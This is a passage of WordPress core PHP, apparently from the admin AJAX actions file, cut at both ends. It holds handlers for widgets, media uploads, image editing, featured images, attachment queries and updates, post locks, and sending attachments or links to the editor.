		$args['s'] = $search;
	}

	$posts = get_posts( $args );

	if ( ! $posts ) {
		wp_send_json_error( __( 'No items found.' ) );
	}

	$html = '<table class="widefat"><thead><tr><th class="found-radio"><br /></th><th>' . __( 'Title' ) . '</th><th class="no-break">' . __( 'Type' ) . '</th><th class="no-break">' . __( 'Date' ) . '</th><th class="no-break">' . __( 'Status' ) . '</th></tr></thead><tbody>';
	$alt  = '';
	foreach ( $posts as $post ) {
		$title = trim( $post->post_title ) ? $post->post_title : __( '(no title)' );
		$alt   = ( 'alternate' === $alt ) ? '' : 'alternate';

		switch ( $post->post_status ) {
			case 'publish':
			case 'private':
				$stat = __( 'Published' );
				break;
			case 'future':
				$stat = __( 'Scheduled' );
				break;
			case 'pending':
				$stat = __( 'Pending Review' );
				break;
			case 'draft':
				$stat = __( 'Draft' );
				break;
		}

		if ( '0000-00-00 00:00:00' === $post->post_date ) {
			$time = '';
		} else {
			/* translators: Date format in table columns, see https://www.php.net/manual/datetime.format.php */
			$time = mysql2date( __( 'Y/m/d' ), $post->post_date );
		}

		$html .= '<tr class="' . trim( 'found-posts ' . $alt ) . '"><td class="found-radio"><input type="radio" id="found-' . $post->ID . '" name="found_post_id" value="' . esc_attr( $post->ID ) . '"></td>';
		$html .= '<td><label for="found-' . $post->ID . '">' . esc_html( $title ) . '</label></td><td class="no-break">' . esc_html( $post_types[ $post->post_type ]->labels->singular_name ) . '</td><td class="no-break">' . esc_html( $time ) . '</td><td class="no-break">' . esc_html( $stat ) . ' </td></tr>' . "\n\n";
	}

	$html .= '</tbody></table>';

	wp_send_json_success( $html );
}

/**
 * Handles saving the widgets order via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_widgets_order() {
	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	unset( $_POST['savewidgets'], $_POST['action'] );

	// Save widgets order for all sidebars.
	if ( is_array( $_POST['sidebars'] ) ) {
		$sidebars = array();

		foreach ( wp_unslash( $_POST['sidebars'] ) as $key => $val ) {
			$sb = array();

			if ( ! empty( $val ) ) {
				$val = explode( ',', $val );

				foreach ( $val as $k => $v ) {
					if ( ! str_contains( $v, 'widget-' ) ) {
						continue;
					}

					$sb[ $k ] = substr( $v, strpos( $v, '_' ) + 1 );
				}
			}
			$sidebars[ $key ] = $sb;
		}

		wp_set_sidebars_widgets( $sidebars );
		wp_die( 1 );
	}

	wp_die( -1 );
}

/**
 * Handles saving a widget via AJAX.
 *
 * @since 3.1.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 * @global array $wp_registered_widget_updates
 */
function wp_ajax_save_widget() {
	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;

	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );

	if ( ! current_user_can( 'edit_theme_options' ) || ! isset( $_POST['id_base'] ) ) {
		wp_die( -1 );
	}

	unset( $_POST['savewidgets'], $_POST['action'] );

	/**
	 * Fires early when editing the widgets displayed in sidebars.
	 *
	 * @since 2.8.0
	 */
	do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/**
	 * Fires early when editing the widgets displayed in sidebars.
	 *
	 * @since 2.8.0
	 */
	do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/widgets.php */
	do_action( 'sidebar_admin_setup' );

	$id_base      = wp_unslash( $_POST['id_base'] );
	$widget_id    = wp_unslash( $_POST['widget-id'] );
	$sidebar_id   = $_POST['sidebar'];
	$multi_number = ! empty( $_POST['multi_number'] ) ? (int) $_POST['multi_number'] : 0;
	$settings     = isset( $_POST[ 'widget-' . $id_base ] ) && is_array( $_POST[ 'widget-' . $id_base ] ) ? $_POST[ 'widget-' . $id_base ] : false;
	$error        = '<p>' . __( 'An error has occurred. Please reload the page and try again.' ) . '</p>';

	$sidebars = wp_get_sidebars_widgets();
	$sidebar  = isset( $sidebars[ $sidebar_id ] ) ? $sidebars[ $sidebar_id ] : array();

	// Delete.
	if ( isset( $_POST['delete_widget'] ) && $_POST['delete_widget'] ) {

		if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
			wp_die( $error );
		}

		$sidebar = array_diff( $sidebar, array( $widget_id ) );
		$_POST   = array(
			'sidebar'            => $sidebar_id,
			'widget-' . $id_base => array(),
			'the-widget-id'      => $widget_id,
			'delete_widget'      => '1',
		);

		/** This action is documented in wp-admin/widgets.php */
		do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );

	} elseif ( $settings && preg_match( '/__i__|%i%/', key( $settings ) ) ) {
		if ( ! $multi_number ) {
			wp_die( $error );
		}

		$_POST[ 'widget-' . $id_base ] = array( $multi_number => reset( $settings ) );
		$widget_id                     = $id_base . '-' . $multi_number;
		$sidebar[]                     = $widget_id;
	}
	$_POST['widget-id'] = $sidebar;

	foreach ( (array) $wp_registered_widget_updates as $name => $control ) {

		if ( $name == $id_base ) {
			if ( ! is_callable( $control['callback'] ) ) {
				continue;
			}

			ob_start();
				call_user_func_array( $control['callback'], $control['params'] );
			ob_end_clean();
			break;
		}
	}

	if ( isset( $_POST['delete_widget'] ) && $_POST['delete_widget'] ) {
		$sidebars[ $sidebar_id ] = $sidebar;
		wp_set_sidebars_widgets( $sidebars );
		echo "deleted:$widget_id";
		wp_die();
	}

	if ( ! empty( $_POST['add_new'] ) ) {
		wp_die();
	}

	$form = $wp_registered_widget_controls[ $widget_id ];
	if ( $form ) {
		call_user_func_array( $form['callback'], $form['params'] );
	}

	wp_die();
}

/**
 * Handles updating a widget via AJAX.
 *
 * @since 3.9.0
 *
 * @global WP_Customize_Manager $wp_customize
 */
function wp_ajax_update_widget() {
	global $wp_customize;
	$wp_customize->widgets->wp_ajax_update_widget();
}

/**
 * Handles removing inactive widgets via AJAX.
 *
 * @since 4.4.0
 */
function wp_ajax_delete_inactive_widgets() {
	check_ajax_referer( 'remove-inactive-widgets', 'removeinactivewidgets' );

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	unset( $_POST['removeinactivewidgets'], $_POST['action'] );
	/** This action is documented in wp-admin/includes/ajax-actions.php */
	do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	/** This action is documented in wp-admin/includes/ajax-actions.php */
	do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	/** This action is documented in wp-admin/widgets.php */
	do_action( 'sidebar_admin_setup' );

	$sidebars_widgets = wp_get_sidebars_widgets();

	foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) {
		$pieces       = explode( '-', $widget_id );
		$multi_number = array_pop( $pieces );
		$id_base      = implode( '-', $pieces );
		$widget       = get_option( 'widget_' . $id_base );
		unset( $widget[ $multi_number ] );
		update_option( 'widget_' . $id_base, $widget );
		unset( $sidebars_widgets['wp_inactive_widgets'][ $key ] );
	}

	wp_set_sidebars_widgets( $sidebars_widgets );

	wp_die();
}

/**
 * Handles creating missing image sub-sizes for just uploaded images via AJAX.
 *
 * @since 5.3.0
 */
function wp_ajax_media_create_image_subsizes() {
	check_ajax_referer( 'media-form' );

	if ( ! current_user_can( 'upload_files' ) ) {
		wp_send_json_error( array( 'message' => __( 'Sorry, you are not allowed to upload files.' ) ) );
	}

	if ( empty( $_POST['attachment_id'] ) ) {
		wp_send_json_error( array( 'message' => __( 'Upload failed. Please reload and try again.' ) ) );
	}

	$attachment_id = (int) $_POST['attachment_id'];

	if ( ! empty( $_POST['_wp_upload_failed_cleanup'] ) ) {
		// Upload failed. Cleanup.
		if ( wp_attachment_is_image( $attachment_id ) && current_user_can( 'delete_post', $attachment_id ) ) {
			$attachment = get_post( $attachment_id );

			// Created at most 10 min ago.
			if ( $attachment && ( time() - strtotime( $attachment->post_date_gmt ) < 600 ) ) {
				wp_delete_attachment( $attachment_id, true );
				wp_send_json_success();
			}
		}
	}

	/*
	 * Set a custom header with the attachment_id.
	 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
	 */
	if ( ! headers_sent() ) {
		header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
	}

	/*
	 * This can still be pretty slow and cause timeout or out of memory errors.
	 * The js that handles the response would need to also handle HTTP 500 errors.
	 */
	wp_update_image_subsizes( $attachment_id );

	if ( ! empty( $_POST['_legacy_support'] ) ) {
		// The old (inline) uploader. Only needs the attachment_id.
		$response = array( 'id' => $attachment_id );
	} else {
		// Media modal and Media Library grid view.
		$response = wp_prepare_attachment_for_js( $attachment_id );

		if ( ! $response ) {
			wp_send_json_error( array( 'message' => __( 'Upload failed.' ) ) );
		}
	}

	// At this point the image has been uploaded successfully.
	wp_send_json_success( $response );
}

/**
 * Handles uploading attachments via AJAX.
 *
 * @since 3.3.0
 */
function wp_ajax_upload_attachment() {
	check_ajax_referer( 'media-form' );
	/*
	 * This function does not use wp_send_json_success() / wp_send_json_error()
	 * as the html4 Plupload handler requires a text/html Content-Type for older IE.
	 * See https://core.trac.wordpress.org/ticket/31037
	 */

	if ( ! current_user_can( 'upload_files' ) ) {
		echo wp_json_encode(
			array(
				'success' => false,
				'data'    => array(
					'message'  => __( 'Sorry, you are not allowed to upload files.' ),
					'filename' => esc_html( $_FILES['async-upload']['name'] ),
				),
			)
		);

		wp_die();
	}

	if ( isset( $_REQUEST['post_id'] ) ) {
		$post_id = $_REQUEST['post_id'];

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			echo wp_json_encode(
				array(
					'success' => false,
					'data'    => array(
						'message'  => __( 'Sorry, you are not allowed to attach files to this post.' ),
						'filename' => esc_html( $_FILES['async-upload']['name'] ),
					),
				)
			);

			wp_die();
		}
	} else {
		$post_id = null;
	}

	$post_data = ! empty( $_REQUEST['post_data'] ) ? _wp_get_allowed_postdata( _wp_translate_postdata( false, (array) $_REQUEST['post_data'] ) ) : array();

	if ( is_wp_error( $post_data ) ) {
		wp_die( $post_data->get_error_message() );
	}

	// If the context is custom header or background, make sure the uploaded file is an image.
	if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ), true ) ) {
		$wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'] );

		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			echo wp_json_encode(
				array(
					'success' => false,
					'data'    => array(
						'message'  => __( 'The uploaded file is not a valid image. Please try again.' ),
						'filename' => esc_html( $_FILES['async-upload']['name'] ),
					),
				)
			);

			wp_die();
		}
	}

	$attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );

	if ( is_wp_error( $attachment_id ) ) {
		echo wp_json_encode(
			array(
				'success' => false,
				'data'    => array(
					'message'  => $attachment_id->get_error_message(),
					'filename' => esc_html( $_FILES['async-upload']['name'] ),
				),
			)
		);

		wp_die();
	}

	if ( isset( $post_data['context'] ) && isset( $post_data['theme'] ) ) {
		if ( 'custom-background' === $post_data['context'] ) {
			update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', $post_data['theme'] );
		}

		if ( 'custom-header' === $post_data['context'] ) {
			update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', $post_data['theme'] );
		}
	}

	$attachment = wp_prepare_attachment_for_js( $attachment_id );
	if ( ! $attachment ) {
		wp_die();
	}

	echo wp_json_encode(
		array(
			'success' => true,
			'data'    => $attachment,
		)
	);

	wp_die();
}

/**
 * Handles image editing via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_image_editor() {
	$attachment_id = (int) $_POST['postid'];

	if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
		wp_die( -1 );
	}

	check_ajax_referer( "image_editor-$attachment_id" );
	require_once ABSPATH . 'wp-admin/includes/image-edit.php';

	$msg = false;

	switch ( $_POST['do'] ) {
		case 'save':
			$msg = wp_save_image( $attachment_id );
			if ( ! empty( $msg->error ) ) {
				wp_send_json_error( $msg );
			}

			wp_send_json_success( $msg );
			break;
		case 'scale':
			$msg = wp_save_image( $attachment_id );
			break;
		case 'restore':
			$msg = wp_restore_image( $attachment_id );
			break;
	}

	ob_start();
	wp_image_editor( $attachment_id, $msg );
	$html = ob_get_clean();

	if ( ! empty( $msg->error ) ) {
		wp_send_json_error(
			array(
				'message' => $msg,
				'html'    => $html,
			)
		);
	}

	wp_send_json_success(
		array(
			'message' => $msg,
			'html'    => $html,
		)
	);
}

/**
 * Handles setting the featured image via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_set_post_thumbnail() {
	$json = ! empty( $_REQUEST['json'] ); // New-style request.

	$post_id = (int) $_POST['post_id'];
	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

	$thumbnail_id = (int) $_POST['thumbnail_id'];

	if ( $json ) {
		check_ajax_referer( "update-post_$post_id" );
	} else {
		check_ajax_referer( "set_post_thumbnail-$post_id" );
	}

	if ( '-1' == $thumbnail_id ) {
		if ( delete_post_thumbnail( $post_id ) ) {
			$return = _wp_post_thumbnail_html( null, $post_id );
			$json ? wp_send_json_success( $return ) : wp_die( $return );
		} else {
			wp_die( 0 );
		}
	}

	if ( set_post_thumbnail( $post_id, $thumbnail_id ) ) {
		$return = _wp_post_thumbnail_html( $thumbnail_id, $post_id );
		$json ? wp_send_json_success( $return ) : wp_die( $return );
	}

	wp_die( 0 );
}

/**
 * Handles retrieving HTML for the featured image via AJAX.
 *
 * @since 4.6.0
 */
function wp_ajax_get_post_thumbnail_html() {
	$post_id = (int) $_POST['post_id'];

	check_ajax_referer( "update-post_$post_id" );

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

	$thumbnail_id = (int) $_POST['thumbnail_id'];

	// For backward compatibility, -1 refers to no featured image.
	if ( -1 === $thumbnail_id ) {
		$thumbnail_id = null;
	}

	$return = _wp_post_thumbnail_html( $thumbnail_id, $post_id );
	wp_send_json_success( $return );
}

/**
 * Handles setting the featured image for an attachment via AJAX.
 *
 * @since 4.0.0
 *
 * @see set_post_thumbnail()
 */
function wp_ajax_set_attachment_thumbnail() {
	if ( empty( $_POST['urls'] ) || ! is_array( $_POST['urls'] ) ) {
		wp_send_json_error();
	}

	$thumbnail_id = (int) $_POST['thumbnail_id'];
	if ( empty( $thumbnail_id ) ) {
		wp_send_json_error();
	}

	if ( false === check_ajax_referer( 'set-attachment-thumbnail', '_ajax_nonce', false ) ) {
		wp_send_json_error();
	}

	$post_ids = array();
	// For each URL, try to find its corresponding post ID.
	foreach ( $_POST['urls'] as $url ) {
		$post_id = attachment_url_to_postid( $url );
		if ( ! empty( $post_id ) ) {
			$post_ids[] = $post_id;
		}
	}

	if ( empty( $post_ids ) ) {
		wp_send_json_error();
	}

	$success = 0;
	// For each found attachment, set its thumbnail.
	foreach ( $post_ids as $post_id ) {
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			continue;
		}

		if ( set_post_thumbnail( $post_id, $thumbnail_id ) ) {
			++$success;
		}
	}

	if ( 0 === $success ) {
		wp_send_json_error();
	} else {
		wp_send_json_success();
	}

	wp_send_json_error();
}

/**
 * Handles formatting a date via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_date_format() {
	wp_die( date_i18n( sanitize_option( 'date_format', wp_unslash( $_POST['date'] ) ) ) );
}

/**
 * Handles formatting a time via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_time_format() {
	wp_die( date_i18n( sanitize_option( 'time_format', wp_unslash( $_POST['date'] ) ) ) );
}

/**
 * Handles saving posts from the fullscreen editor via AJAX.
 *
 * @since 3.1.0
 * @deprecated 4.3.0
 */
function wp_ajax_wp_fullscreen_save_post() {
	$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;

	$post = null;

	if ( $post_id ) {
		$post = get_post( $post_id );
	}

	check_ajax_referer( 'update-post_' . $post_id, '_wpnonce' );

	$post_id = edit_post();

	if ( is_wp_error( $post_id ) ) {
		wp_send_json_error();
	}

	if ( $post ) {
		$last_date = mysql2date( __( 'F j, Y' ), $post->post_modified );
		$last_time = mysql2date( __( 'g:i a' ), $post->post_modified );
	} else {
		$last_date = date_i18n( __( 'F j, Y' ) );
		$last_time = date_i18n( __( 'g:i a' ) );
	}

	$last_id = get_post_meta( $post_id, '_edit_last', true );
	if ( $last_id ) {
		$last_user = get_userdata( $last_id );
		/* translators: 1: User's display name, 2: Date of last edit, 3: Time of last edit. */
		$last_edited = sprintf( __( 'Last edited by %1$s on %2$s at %3$s' ), esc_html( $last_user->display_name ), $last_date, $last_time );
	} else {
		/* translators: 1: Date of last edit, 2: Time of last edit. */
		$last_edited = sprintf( __( 'Last edited on %1$s at %2$s' ), $last_date, $last_time );
	}

	wp_send_json_success( array( 'last_edited' => $last_edited ) );
}

/**
 * Handles removing a post lock via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_remove_post_lock() {
	if ( empty( $_POST['post_ID'] ) || empty( $_POST['active_post_lock'] ) ) {
		wp_die( 0 );
	}

	$post_id = (int) $_POST['post_ID'];
	$post    = get_post( $post_id );

	if ( ! $post ) {
		wp_die( 0 );
	}

	check_ajax_referer( 'update-post_' . $post_id );

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

	$active_lock = array_map( 'absint', explode( ':', $_POST['active_post_lock'] ) );

	if ( get_current_user_id() != $active_lock[1] ) {
		wp_die( 0 );
	}

	/**
	 * Filters the post lock window duration.
	 *
	 * @since 3.3.0
	 *
	 * @param int $interval The interval in seconds the post lock duration
	 *                      should last, plus 5 seconds. Default 150.
	 */
	$new_lock = ( time() - apply_filters( 'wp_check_post_lock_window', 150 ) + 5 ) . ':' . $active_lock[1];
	update_post_meta( $post_id, '_edit_lock', $new_lock, implode( ':', $active_lock ) );
	wp_die( 1 );
}

/**
 * Handles dismissing a WordPress pointer via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_dismiss_wp_pointer() {
	$pointer = $_POST['pointer'];

	if ( sanitize_key( $pointer ) != $pointer ) {
		wp_die( 0 );
	}

	//  check_ajax_referer( 'dismiss-pointer_' . $pointer );

	$dismissed = array_filter( explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ) );

	if ( in_array( $pointer, $dismissed, true ) ) {
		wp_die( 0 );
	}

	$dismissed[] = $pointer;
	$dismissed   = implode( ',', $dismissed );

	update_user_meta( get_current_user_id(), 'dismissed_wp_pointers', $dismissed );
	wp_die( 1 );
}

/**
 * Handles getting an attachment via AJAX.
 *
 * @since 3.5.0
 */
function wp_ajax_get_attachment() {
	if ( ! isset( $_REQUEST['id'] ) ) {
		wp_send_json_error();
	}

	$id = absint( $_REQUEST['id'] );
	if ( ! $id ) {
		wp_send_json_error();
	}

	$post = get_post( $id );
	if ( ! $post ) {
		wp_send_json_error();
	}

	if ( 'attachment' !== $post->post_type ) {
		wp_send_json_error();
	}

	if ( ! current_user_can( 'upload_files' ) ) {
		wp_send_json_error();
	}

	$attachment = wp_prepare_attachment_for_js( $id );
	if ( ! $attachment ) {
		wp_send_json_error();
	}

	wp_send_json_success( $attachment );
}

/**
 * Handles querying attachments via AJAX.
 *
 * @since 3.5.0
 */
function wp_ajax_query_attachments() {
	if ( ! current_user_can( 'upload_files' ) ) {
		wp_send_json_error();
	}

	$query = isset( $_REQUEST['query'] ) ? (array) $_REQUEST['query'] : array();
	$keys  = array(
		's',
		'order',
		'orderby',
		'posts_per_page',
		'paged',
		'post_mime_type',
		'post_parent',
		'author',
		'post__in',
		'post__not_in',
		'year',
		'monthnum',
	);

	foreach ( get_taxonomies_for_attachments( 'objects' ) as $t ) {
		if ( $t->query_var && isset( $query[ $t->query_var ] ) ) {
			$keys[] = $t->query_var;
		}
	}

	$query              = array_intersect_key( $query, array_flip( $keys ) );
	$query['post_type'] = 'attachment';

	if (
		MEDIA_TRASH &&
		! empty( $_REQUEST['query']['post_status'] ) &&
		'trash' === $_REQUEST['query']['post_status']
	) {
		$query['post_status'] = 'trash';
	} else {
		$query['post_status'] = 'inherit';
	}

	if ( current_user_can( get_post_type_object( 'attachment' )->cap->read_private_posts ) ) {
		$query['post_status'] .= ',private';
	}

	// Filter query clauses to include filenames.
	if ( isset( $query['s'] ) ) {
		add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
	}

	/**
	 * Filters the arguments passed to WP_Query during an Ajax
	 * call for querying attachments.
	 *
	 * @since 3.7.0
	 *
	 * @see WP_Query::parse_query()
	 *
	 * @param array $query An array of query variables.
	 */
	$query             = apply_filters( 'ajax_query_attachments_args', $query );
	$attachments_query = new WP_Query( $query );
	update_post_parent_caches( $attachments_query->posts );

	$posts       = array_map( 'wp_prepare_attachment_for_js', $attachments_query->posts );
	$posts       = array_filter( $posts );
	$total_posts = $attachments_query->found_posts;

	if ( $total_posts < 1 ) {
		// Out-of-bounds, run the query again without LIMIT for total count.
		unset( $query['paged'] );

		$count_query = new WP_Query();
		$count_query->query( $query );
		$total_posts = $count_query->found_posts;
	}

	$posts_per_page = (int) $attachments_query->get( 'posts_per_page' );

	$max_pages = $posts_per_page ? ceil( $total_posts / $posts_per_page ) : 0;

	header( 'X-WP-Total: ' . (int) $total_posts );
	header( 'X-WP-TotalPages: ' . (int) $max_pages );

	wp_send_json_success( $posts );
}

/**
 * Handles updating attachment attributes via AJAX.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment() {
	if ( ! isset( $_REQUEST['id'] ) || ! isset( $_REQUEST['changes'] ) ) {
		wp_send_json_error();
	}

	$id = absint( $_REQUEST['id'] );
	if ( ! $id ) {
		wp_send_json_error();
	}

	check_ajax_referer( 'update-post_' . $id, 'nonce' );

	if ( ! current_user_can( 'edit_post', $id ) ) {
		wp_send_json_error();
	}

	$changes = $_REQUEST['changes'];
	$post    = get_post( $id, ARRAY_A );

	if ( 'attachment' !== $post['post_type'] ) {
		wp_send_json_error();
	}

	if ( isset( $changes['parent'] ) ) {
		$post['post_parent'] = $changes['parent'];
	}

	if ( isset( $changes['title'] ) ) {
		$post['post_title'] = $changes['title'];
	}

	if ( isset( $changes['caption'] ) ) {
		$post['post_excerpt'] = $changes['caption'];
	}

	if ( isset( $changes['description'] ) ) {
		$post['post_content'] = $changes['description'];
	}

	if ( MEDIA_TRASH && isset( $changes['status'] ) ) {
		$post['post_status'] = $changes['status'];
	}

	if ( isset( $changes['alt'] ) ) {
		$alt = wp_unslash( $changes['alt'] );
		if ( get_post_meta( $id, '_wp_attachment_image_alt', true ) !== $alt ) {
			$alt = wp_strip_all_tags( $alt, true );
			update_post_meta( $id, '_wp_attachment_image_alt', wp_slash( $alt ) );
		}
	}

	if ( wp_attachment_is( 'audio', $post['ID'] ) ) {
		$changed = false;
		$id3data = wp_get_attachment_metadata( $post['ID'] );

		if ( ! is_array( $id3data ) ) {
			$changed = true;
			$id3data = array();
		}

		foreach ( wp_get_attachment_id3_keys( (object) $post, 'edit' ) as $key => $label ) {
			if ( isset( $changes[ $key ] ) ) {
				$changed         = true;
				$id3data[ $key ] = sanitize_text_field( wp_unslash( $changes[ $key ] ) );
			}
		}

		if ( $changed ) {
			wp_update_attachment_metadata( $id, $id3data );
		}
	}

	if ( MEDIA_TRASH && isset( $changes['status'] ) && 'trash' === $changes['status'] ) {
		wp_delete_post( $id );
	} else {
		wp_update_post( $post );
	}

	wp_send_json_success();
}

/**
 * Handles saving backward compatible attachment attributes via AJAX.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment_compat() {
	if ( ! isset( $_REQUEST['id'] ) ) {
		wp_send_json_error();
	}

	$id = absint( $_REQUEST['id'] );
	if ( ! $id ) {
		wp_send_json_error();
	}

	if ( empty( $_REQUEST['attachments'] ) || empty( $_REQUEST['attachments'][ $id ] ) ) {
		wp_send_json_error();
	}

	$attachment_data = $_REQUEST['attachments'][ $id ];

	check_ajax_referer( 'update-post_' . $id, 'nonce' );

	if ( ! current_user_can( 'edit_post', $id ) ) {
		wp_send_json_error();
	}

	$post = get_post( $id, ARRAY_A );

	if ( 'attachment' !== $post['post_type'] ) {
		wp_send_json_error();
	}

	/** This filter is documented in wp-admin/includes/media.php */
	$post = apply_filters( 'attachment_fields_to_save', $post, $attachment_data );

	if ( isset( $post['errors'] ) ) {
		$errors = $post['errors']; // @todo return me and display me!
		unset( $post['errors'] );
	}

	wp_update_post( $post );

	foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
		if ( isset( $attachment_data[ $taxonomy ] ) ) {
			wp_set_object_terms( $id, array_map( 'trim', preg_split( '/,+/', $attachment_data[ $taxonomy ] ) ), $taxonomy, false );
		}
	}

	$attachment = wp_prepare_attachment_for_js( $id );

	if ( ! $attachment ) {
		wp_send_json_error();
	}

	wp_send_json_success( $attachment );
}

/**
 * Handles saving the attachment order via AJAX.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment_order() {
	if ( ! isset( $_REQUEST['post_id'] ) ) {
		wp_send_json_error();
	}

	$post_id = absint( $_REQUEST['post_id'] );
	if ( ! $post_id ) {
		wp_send_json_error();
	}

	if ( empty( $_REQUEST['attachments'] ) ) {
		wp_send_json_error();
	}

	check_ajax_referer( 'update-post_' . $post_id, 'nonce' );

	$attachments = $_REQUEST['attachments'];

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_send_json_error();
	}

	foreach ( $attachments as $attachment_id => $menu_order ) {
		if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
			continue;
		}

		$attachment = get_post( $attachment_id );

		if ( ! $attachment ) {
			continue;
		}

		if ( 'attachment' !== $attachment->post_type ) {
			continue;
		}

		wp_update_post(
			array(
				'ID'         => $attachment_id,
				'menu_order' => $menu_order,
			)
		);
	}

	wp_send_json_success();
}

/**
 * Handles sending an attachment to the editor via AJAX.
 *
 * Generates the HTML to send an attachment to the editor.
 * Backward compatible with the {@see 'media_send_to_editor'} filter
 * and the chain of filters that follow.
 *
 * @since 3.5.0
 */
function wp_ajax_send_attachment_to_editor() {
	check_ajax_referer( 'media-send-to-editor', 'nonce' );

	$attachment = wp_unslash( $_POST['attachment'] );

	$id = (int) $attachment['id'];

	$post = get_post( $id );
	if ( ! $post ) {
		wp_send_json_error();
	}

	if ( 'attachment' !== $post->post_type ) {
		wp_send_json_error();
	}

	if ( current_user_can( 'edit_post', $id ) ) {
		// If this attachment is unattached, attach it. Primarily a back compat thing.
		$insert_into_post_id = (int) $_POST['post_id'];

		if ( 0 == $post->post_parent && $insert_into_post_id ) {
			wp_update_post(
				array(
					'ID'          => $id,
					'post_parent' => $insert_into_post_id,
				)
			);
		}
	}

	$url = empty( $attachment['url'] ) ? '' : $attachment['url'];
	$rel = ( str_contains( $url, 'attachment_id' ) || get_attachment_link( $id ) === $url );

	remove_filter( 'media_send_to_editor', 'image_media_send_to_editor' );

	if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
		$align = isset( $attachment['align'] ) ? $attachment['align'] : 'none';
		$size  = isset( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
		$alt   = isset( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';

		// No whitespace-only captions.
		$caption = isset( $attachment['post_excerpt'] ) ? $attachment['post_excerpt'] : '';
		if ( '' === trim( $caption ) ) {
			$caption = '';
		}

		$title = ''; // We no longer insert title tags into <img> tags, as they are redundant.
		$html  = get_image_send_to_editor( $id, $caption, $title, $align, $url, $rel, $size, $alt );
	} elseif ( wp_attachment_is( 'video', $post ) || wp_attachment_is( 'audio', $post ) ) {
		$html = stripslashes_deep( $_POST['html'] );
	} else {
		$html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
		$rel  = $rel ? ' rel="attachment wp-att-' . $id . '"' : ''; // Hard-coded string, $id is already sanitized.

		if ( ! empty( $url ) ) {
			$html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>';
		}
	}

	/** This filter is documented in wp-admin/includes/media.php */
	$html = apply_filters( 'media_send_to_editor', $html, $id, $attachment );

	wp_send_json_success( $html );
}

/**
 * Handles sending a link to the editor via AJAX.
 *
 * Generates the HTML to send a non-image embed link to the editor.
 *
 * Backward compatible with the following filters:
 * - file_send_to_editor_url
 * - audio_send_to_editor_url
 * - video_send_to_editor_url
 *
 * @since 3.5.0
 *
 * @global WP_Post  $post     Global post object.
 * @global WP_Embed $wp_embed
 */
function wp_ajax_send_link_to_editor() {
	global $post, $wp_embed;

	check_ajax_referer( 'media-send-to-editor', 'nonce' );

	$src = wp_unslash( $_POST['src'] );
	if ( ! $src ) {
		wp_send_json_error();
	}

	if ( ! strpos( $src, '://' ) ) {
		$src = 'http://' . $src;
	}

	$src = sanitize_url( $src );
	if ( ! $src ) {
		wp_send_json_error();
	}

	$link_text = trim( wp_unslash( $_POST['link_text'] ) );
	if ( ! $link_text ) {
		$link_text = wp_basename( $src );
	}

	$post = get_post( isset( $_POST['post_id'] ) ? $_POST['post_id'] : 0 );

	// Ping WordPress for an embed.
	$check_embed = $wp_embed->run_shortcode( '[embed]' . $src . '[/embed]' );

	// Fallback that WordPress creates when no oEmbed was found.
	$fallback = $wp_embed->maybe_make_link( $src );

	if ( $check_embed !== $fallback ) {
		// TinyMCE view for [embed] will parse this.
		$html = '[embed]' . $src . '[/embed]';
	} elseif ( $link_text ) {
		$html = '<a href="' . esc_url( $src ) . '">' . $link_text . '</a>';
	} else {
		$html = '';
	}

	// Figure out what filter to run:
	$type = 'file';
	$ext  = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src );
	if ( $ext ) {
		$ext_type = wp_ext2type( $ext );
